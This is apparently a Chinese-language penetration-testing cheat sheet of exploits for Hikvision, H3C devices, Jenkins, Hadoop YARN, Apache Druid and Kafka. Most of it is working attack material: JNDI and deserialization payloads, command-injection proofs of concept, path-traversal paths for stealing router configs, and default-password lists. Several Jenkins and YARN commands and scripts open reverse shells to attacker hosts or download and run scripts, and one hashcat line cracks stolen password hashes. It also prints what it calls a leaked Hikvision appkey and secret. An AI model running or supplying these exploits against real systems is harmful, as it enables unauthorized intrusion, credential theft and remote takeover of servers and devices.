需要开放1389 8080端口,然后就在数据包的头部加上cmd: whoami,存在注入的地方改成load://[IP]:1389/Basic/TomcatEcho:
POST /bic/ssoService/v1/applyCT HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/json
cmd: whoami
Content-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho","autoCommit":true},"hfe4zyyzldp":"="}
# 海康威视AK信息泄露漏洞
存在jsconfig的调用,appkey是user,由一个8位数数构成:23412412
Secret就是passwd,由21位的密钥构成:QfQPss5GOac9Bjxkfuv3
# 获取权限的编码设备列表
/api/resource/v2/encodeDevice/search
# 获取cameraIndexCode
/api/resource/v1/cameras
# 带cameraIndexCode去获取摄像头的Picurl
/api/video/v1/manualCapture
获取到的picUrl直接访问就是摄像头的画面
# H3C
H3C,即华三,是中国领先的数据通信和数字化解决方案提供商,专注企业网络和ICT基础设施领域
# 未授权命令执行
参考文章:H3C iMC 存在远程命令执行漏洞
H3C Intelligent Management Center存在命令执行漏洞,攻击者可以利用漏洞通过构造特殊的请求造成远程命令执行,poc:
POST /imc/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Length: 1569
Content-Type: application/x-www-form-urlencoded
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D&cmd=whoami
只需要修改whoami即可
# 信息泄露漏洞
H3C路由器多系列存在信息泄露漏洞,攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息,poc(ER8300G2.cfg要按照你的路由器型号填写):
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
# 弱口令
参考文章:常见设备弱口令大全 - Hack All Sec 的博客
# H3C iMC
admin
admin
# H3C SecPath系列
admiin
admin
# H3C S5120-SI
test
123
# H3C智能管理中心
admin
admin
# H3C ER3100
admin
adminer3100
# H3C ER3200
admin
adminer3200
# H3C ER3260
admin
adminer3260
# H3C
admin
adminer
# 命令注入 CVE-2026-3943
参考文章:阿里云漏洞库
H3C ACG1000-AK230 命令注入漏洞 (CVE-2026-3943)
影响范围为H3C ACG1000-AK230 <= 20260227
其web管理界面接口/webui/?aaa_portal_auth_local_submit存在命令注入漏洞,系统在处理suffix参数时未进行严格的安全过滤导致输入的恶意指令被直接拼接到系统命令中执行
poc(以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为):
import requests
import sys
# CVE-2026-3943 PoC - H3C ACG1000-AK230 Command Injection
# Target: /webui/?aaa_portal_auth_local_submit
# Parameter: suffix
def exploit(target_url, cmd):
"""Execute command injection on H3C ACG1000-AK230"""
endpoint = f"{target_url}/webui/?aaa_portal_auth_local_submit"
# Payload construction with command injection
# Using semicolon to chain commands
payload = f";{cmd}"
data = {
"suffix": payload,
"username": "test",
"password": "test"
}
try:
response = requests.post(endpoint, data=data, timeout=10, verify=False)
print(f"[*] Request sent to {endpoint}")
print(f"[*] Payload: {payload}")
print(f"[*] Status Code: {response.status_code}")
return response.text
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
return None
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: python {sys.argv[0]} <target_url> <command>")
print(f"Example: python {sys.argv[0]} https://192.168.1.1 'id'")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2]
result = exploit(target, command)
if result:
print("\n[+] Response received")
print(result)
# Jenkins
Jenkins是一个开源的自动化工具,用于持续集成和持续交付,帮助开发团队自动化构建、测试和部署软件,其核心目标是通过自动化软件开发流程,提高开发效率并快速发现问题
# 弱口令
参考文章:Jenkins弱口令RCE复现渗透测试_jenkins rce-CSDN博客
admin
admin123
# 任意文件读取 CVE-2024-23897
参考文章:CVE-2024-23897-Jenkins任意文件读取漏洞复现-CSDN博客
Jenkins文件读取漏洞拾遗(CVE-2024-23897) | 离别歌
影响范围为Jenkins <=2.441;Jenkins <= LTS 2.426.2
Jenkins为用户提供了命令行接口,用户能够借助jenkins - cli.jar调用该接口,进而执行Jenkins的部分功能,然而当使用jenkins -cli.jar执行命令操作时,服务端会利用第三方库args4j对命令行进行解析,在解析过程中,若参数以@开头,系统就会把它认定为一个文件名,随后读取该文件的内容并将其作为参数,这一机制存在风险,一旦参数设置不当就可能引发报错,且报错信息会将文件内容显示出来,从而导致任意文件读取
poc:
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ -http help 1 "@etc/passwd"
一些命令输出行较多可以使用connect-node命令:
java -jar .\jenkins-cli.jar -s http://127.0.0.1:8080/ connect-node "@etc/passwd"
# Jenkins安装将有一个文件/var/jekins_home/users/users.xml,其中列出了此处的所有有效用户
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/users.xml"
# users.xml显示系统上的单个用户,admin,其信息文件夹为/var/jenkins_home/users/admin_5965741382068509608,在Jenkins上的每个用户文件夹中始终有一个包含用户密码哈希的config.xml文件,所以可以读取/var/jenkins_home/users/admin_5965741382068509608/config.xml
java -jar jenkins-cli.jar -s http://localhost:8080/ connect-node "/var/jenkins_home/users/admin_5965741382068509608/config.xml"
# 之后可以通过kali自带字典和工具爆破密码
hashcat -m 3200 info.txt rockyou.txt
# Jenkins-CI远程代码执行 CVE-2017-1000353
参考文章:安全研究 | Jenkins漏洞分析 - FreeBuf网络安全行业门户
影响范围为Jenkins所有主版本均受到影响(包括<= 2.56),Jenkins LTS均受到影响(包括<= 2.46.1)
Jenkins未授权远程代码执行漏洞,允许攻击者将序列化的Java SignedObject对象传输给Jenkins CI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制导致代码执行
工具地址:https://github.com/vulhub/CVE-2017-1000353
exp地址:https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
# 生成序列化字符串
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
执行之后生成的jenkins_poc.ser就是序列化字符串
# 发送数据包,执行命令将刚才生成的字节码文件发送给目标
python3 exploit.py http://[your-IP]:8080 jenkins_poc.ser
执行成功的话可以看到/tmp/success被成功创建,于是可以修改命令为反弹shell:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1"
# Jenkins远程代码执行 CVE-2018-1000861
影响范围为Jenkins Version <= 2.56;Jenkins LTS Version <=2.46.1
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法,由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法
由于该漏洞没有回显,所以选择curl和直接反弹shell进行测试
# 自定义发送请求测试漏洞是否存在
http://[目标IP]:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
然后利用下载文件的方法来反弹shell:
# 首先创建文本内容,IP和端口填写我们接收的机器的IP和端口
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
# 将文本放置在开启http服务的vps上,替换poc中执行命令的部分为下载文件的命令
curl -o /tmp/1.sh http://x.x.x.x/1.txt
# 替换后的poc
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://x.x.x.x/1.txt%22.execute()}}
# 基于下载的脚本执行权限
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}
# 依次在浏览器打开上述步骤的poc,然后我们接收shell的机器上开启监听
nc -lvvp 9999
# 直接执行下载的脚本
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}
一键化poc脚本利用工具:https://github.com/orangetw/awesome-jenkins-rce-2019
# Jenkins远程代码执行 CVE-2019-1003000
影响范围为:
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50
该漏洞存在于Declarative Plugin 1.3.4.1之前的版本,Groovy Plugin 2.61.1之前的版本以及Script Security Plugin 1.50之前的版本,该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护,所以会造成具有Overall/Read权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码
利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
poc:
python2 exploit.py --url http://目标ip:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反弹shell:
python2 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"
# Jenkins Xstream反序列化 CVE-2016-0972
影响范围为jenkins < 1.650
国外网站Contrat Security于2016年2月14公开了Jenkins近日修复的一个可通过低权限用户调用API服务致使的命令执行漏洞详情,通过低权限用户构造一个恶意的XML文档发送至服务端接口,使服务端解析时调用API执行外部命令
poc地址:https://github.com/jpiechowka/jenkins-cve-2016-0792
# payload反弹shell
exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')
# Jenkins远程代码执行 CVE-2019-1003005
影响范围为:
Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 启用匿名读取
Jenkins 2.152 启用匿名读取
Jenkins 2.153 启用匿名读取
Script Security Plugin 1.43
Script Security Plugin 1.48
Jenkins脚本安全插件1.50及更早版本的src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java中存在一个沙盒绕过漏洞,它允许具有“整体/读取”权限的攻击者为其提供Groovy脚本HTTP端点,可导致Jenkins主JVM上的任意代码执行
poc:https://github.com/orangetw/awesome-jenkins-rce-2019
python2 exp.py http://x.x.x.x:8080/ "curl http://uxplno.ceye.io/`whoami`"
# Jenkins 2k19认证远程代码执行 CVE-2019-10392
影响范围为Git client Plugin <= 2.8.4
该漏洞为Git客户端插件接受用户指定的值作为git ls-remote调用的参数,以验证指定URL处是否存在Git存储库。这种方式允许 具有Job/Configure权限的攻击者,以运行Jenkin进程的OS用户的权限在Jenkins主服务器上执行任意系统命令。当以root权限运行Jenkins时,攻击者将会通过攻击得到root权限
在连接git仓库处输入payload:
--upload-pack="`ls`"
该漏洞服务器必须要低版本插件并且配合弱口令或者未授权进入后台利用,而且后台有个地方可以直接执行命令,在http://[IP]:port/script下面有脚本命令行,为Jenkins的正常功能,利用该功能可执行系统命令,配合未授权更方便
# Jenkins CLI Ldap Deser CVE-2016-9299
影响版本为LTSRelease 2.19.3之前的所有版本;WeeklyRelease 2.32之前的所有版本
2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发第三方服务器的LDAP查询
msf利用模块
https://github.com/rapid7/metasploit-framework/pull/7815
漏洞复现
- 下载 jenkins 2.31(https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
- 安装 jenkins java -jar jenkins.war
- 启动 msfconsole
- 使用 exploit/linux/misc/jenkins_ldap_deserialize
- 设置 RHOST 127.0.0.1
- 设置PAYLOAD cmd/unix/generic
- 设置 CMD 'touch/tmp/wtf'
- 运行
msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.
利用成功后将会在tmp文件夹下创建wtf文件
# Jenkins功能未授权访问导致的远程命令执行
Jenkins管理登录之后,后台有系统管理功能,里面存在脚本命令行的功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,利用该功能可以执行任意系统命令,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问导致该功能对Jenkins服务器产生了比较严重的影响与危害
payload:
println "whoami".execute().text
# 插件反射型XSS CVE-2019-10475
影响版本:
360 FireLine插件,最高包括1.7.2
Bitbucket OAuth插件,最高包括0.9
Build-metrics插件 1.3及以下
部署WebLogic Plugin 最高至4.1
Dynatrace应用程序监视插件,最高包括2.1.3
Dynatrace应用程序监视插件,最高包括2.1.4
ElasticBox Jenkins Kubernetes CI / CD插件,最高至1.3
包含1.1.4及以下版本的 全局Post Script插件
Libvirt Slaves插件,最高包括1.8.5
截至 2.7.0的 Mattermost Notification插件
Sonar Gerrit插件,最高包括2.3
Zulip插件(包括1.1.0及以下)
build-metrics该插件会生成一些基本的构建指标,它通常与Jenkins侧边栏链接插件一起使用,该插件提供了该报告机制,所有的用户都可以转到Jenkins主仪表盘并根据需要提取报告,漏洞存在build-metric插件中,但是只是一个简单的反射型XSS,该插件无法正确转义标签查询参数
该vulnerable插件位于/plugin/build-metrics,漏洞参数为label,payload:
http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search
# 用户枚举 CVE-2018-1000110
影响范围为CloudBees Jenkins Git Plugin 3.7.0及之前版本
Git Plugin是使用在其中的一个版本控制插件,CloudBees Jenkins Git Plugin 3.7.0及之前版本中的GitStatus.java文件存在安全漏洞,攻击者可利用该漏洞获取节点和用户列表
模糊搜索:
/search/?q=a
/search/suggest?query=a
如果git插件小于3.7,也可以使用:
/git/search/?q=a
/git/search/suggest?query=a
# 路径遍历任意文件写入 CVE-2019-10352
影响范围为Jenkins-Ci Jenkins LTS 2.176.2 Jenkins Jenkins 2.186
CloudBees Jenkins(Hudson Labs)是美国CloudBees公司的一套基于Java开发的持续集成工具。该产品主要用于监控持续的软件版本发布/测试项目和一些定时执行的任务。LTS是CloudBeesJenkins的一个长期支持的版本,CloudBees Jenkins 2.185及之前版本、LTS 2.176.1及之前版本中的core/src/main/java/hudson/model/FileParameterValue.java文件存在路径遍历漏洞,该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,攻击者可利用该漏洞访问受限目录之外的位置
首先选择”构建一个自由风格的软件项目“并将其命名为test,然后使用受限制的用户,在配置中选择文件参数dir/../../../pwned,选择Build with Parameters然后构建选择上传图片文件,选择开始构建就可以将文件写入运行有些如权限的Jenkins的用户的文件系统上的任何位置
# GitLab插件跨站请求伪造 CVE-2019-10300
影响范围为Jenkins GitLab插件1.5.11
GitLab Plugin是使用在其中的一个构建触发器,它允许GitLab在推送代码或创建合并请求时触发Jenkins构建。CloudBees Jenkins GitLab Plugin 1.5.11及之前版本中的GitLabConnectionConfig#doTestConnection表单验证方法存在跨站请求伪造漏洞,该漏洞源于WEB应用未充分验证请求是否来自可信用户。攻击者可利用该漏洞通过受影响客户端向服务器发送非预期的请求。
curl -s -X GET -G \
-d 'url=http://127.0.0.1:7000/?' \
-d 'clientBuilderId=autodetect' \
-d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \
'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'
插件以HTTP GET形式向远程服务器提交的请求将类似于以下内容:
# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive
# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive
# 任意文件读取 CVE-2018-1999002
影响范围为Jenkins weekly 2.132及之前所有版本;Jenkins LTS 2.121.1及之前的所有版本
在Jenkins的Stapler Web框架中存在任意文件读取漏洞,恶意攻击者可以通过发送精心构造的HTTP请求在未授权情况下获取Jenkins主进程可以访问的Jenkins文件系统中的任意文件内容
可读取Windows系统服务器中的任意文件,且在特定条件下也可以读取Linux系统服务器中的文件,请求的URL为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。
在未授权情况下,只有当管理员开启了allow anonymous read access的时候才能实现任意文件读取
Windows下的paylaod:
GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close
工具:https://github.com/anntsmart/CVE/blob/master/cve-2018-1999002.py
# hadoop
Hadoop是一个开源的分布式框架,用于存储和处理海量数据,核心组件包括HDFS、MapReduce和YARN
# YARN未授权访问导致控制权限丧失
参考文章:Apache Hadoop YARN漏洞:未授权访问导致集群控制权限丧失-CSDN博客
Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务(独立出的资源管理框架,负责资源管理和调度),负责对资源进行同一管理调度的ResourceManager组件的UI管理界面开放在8080/8888端口,攻击者无需认证即可通过REST API部署任务来执行命令,最终可完全控制集群中的所有机器
漏洞复现:首先需要通过POST请求访问/ws/v1/cluster/apps/new-application获取application-id,获取到application-id之后可以访问/ws/v1/cluster/apps,并构造payload:
{"application-id": "application_1659336607746_0001", "application-name": "getshell", "am-container-spec": {"commands": {"command": "ping -c 3 test.clw7xm.dnslog.cn"}}, "application-type": "YARN"}
修改application-id的值和要执行的命令command
EXP:
# coding:utf-8
import requests
def shell(url,vps_ip,port):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
}
response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
id = response.json()["application-id"]
data = {
'application-id': id,
'application-name': 'getshell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
},
},
'application-type': 'YARN'}
exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
print("[+] 执行完成!")
if __name__ == '__main__':
url = input("url:")
vps_ip = input("vps:")
port = input("port:")
shell(url,vps_ip,port)
需要在VPS上开启监听端口实现反弹shell
# YARN ZooKeeper反序列化RCE CVE-2021-25642
参考文章:hadoop RCE漏洞CVE-2021-25642 | CN-SEC 中文网
影响范围为2.9.0 <= Apache Hadoop <= 2.10.1``3.0.0-alpha <= Apache Hadoop <= 3.2.3``3.3.0 <= Apache Hadoop <= 3.3.3
ZKConfigurationStore是Apache Hadoop YARN的CapacityScheduler可选使用的,由于ZKConfigurationStore可以在未经验证的情况下反序列化从ZooKeeper中获得的数据,因此能够访问ZooKeeper的威胁着可以利用此漏洞以YARN用户身份运行任意命令
如果访问/cluster/apps页面存在则说明存在未授权访问漏洞
poc:
#python exp:
#!/usr/bin/env python
import requests
target = 'http://192.168.241.142:8088/'
lhost = '192.168.241.128' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
执行:
python3 unauthorized-yarn-hadoop.py http://xxx:8088
# druid
参考文章:https://cn-sec.com/archives/3750410.html
Druid是一种高性能的实时分析数据库,专为处理复杂的海量数据而设计,能够在毫秒级响应下进行交互式数据分析,它主要针对时间序列数据,提供低延迟的数据写入和快速查询能力,其设计基于快速查询,水平扩展,实时分析三个原则
# 常见URL猜解
# Druid监控首页
/druid/index.html
# Druid登录认证页面
/druid/login.html
# Druid的SQL执行监控页面
/druid/sql.html
# Druid的Web URI监控页面
/druid/weburi.html
# Druid的Web Session监控页面
/druid/websession.html
# 弱口令
# 用户名
admin
druid
root
guest
# 密码
123456
admin123
admin888
password
root123
# session伪造登录
参考文章:【漏洞挖掘】Druid未授权漏洞 | CN-SEC 中文网
可以通过fuzz看/druid/websession.html是否可以访问,进入session监控页面寻找是否存在未过期的session可以利用,添加到请求包中就可以实现session伪造登录
# Ingestion Spec远程代码执行 CVE-2021-25646
参考文章:【CVE-2021-25646 | 附PoC】Apache Druid 远程代码执行漏洞-腾讯云开发者社区-腾讯云
vulhub/apache-druid/CVE-2021-25646/README.zh-cn.md at master · vulhub/vulhub · GitHub
影响范围为 Apache Druid < 0.20.1
Apache Druid允许用户通过控制台或API提交JSON格式的“数据导入规范(Ingestion Spec)”,在旧版本中,解析器未严格限制JavaScript脚本引擎的执行,攻击者可通过提交包含恶意的JavaScript的JSON载荷在服务端直接执行任意代码,漏洞接口为/druid/indexer/v1/sampler
poc:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
# Kafka JNDI注入 CVE-2023-25194
参考文章:CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)-CSDN博客
该漏洞源于Apache Kafka Connect组件对用户控制的SASL JAAS配置缺乏安全校验,攻击者通过创建或修改Kafka Connect连接器时,注入恶意JNDI配置(如com.sun.security.auth.module.JndiLoginModule),可迫使Worker连接到攻击者控制的LDAP服务器触发JNDI反序列化攻击,最终在服务端执行任意命令,该漏洞需要满足以下条件:
- 认证访问:攻击者需能操作Kafka Connect REST API(默认端口在8083)
- 配置可控:可修改连接器的SASL JAAS配置属性
- 网络可达:Kafka Connect服务需能访问攻击者搭建的LDAP服务器
需要下载工具Release 1.4.1 · vulhub/java-chains · GitHub
执行以下命令启动工具并登录:
java -jar java-chains-1.4.1.jar
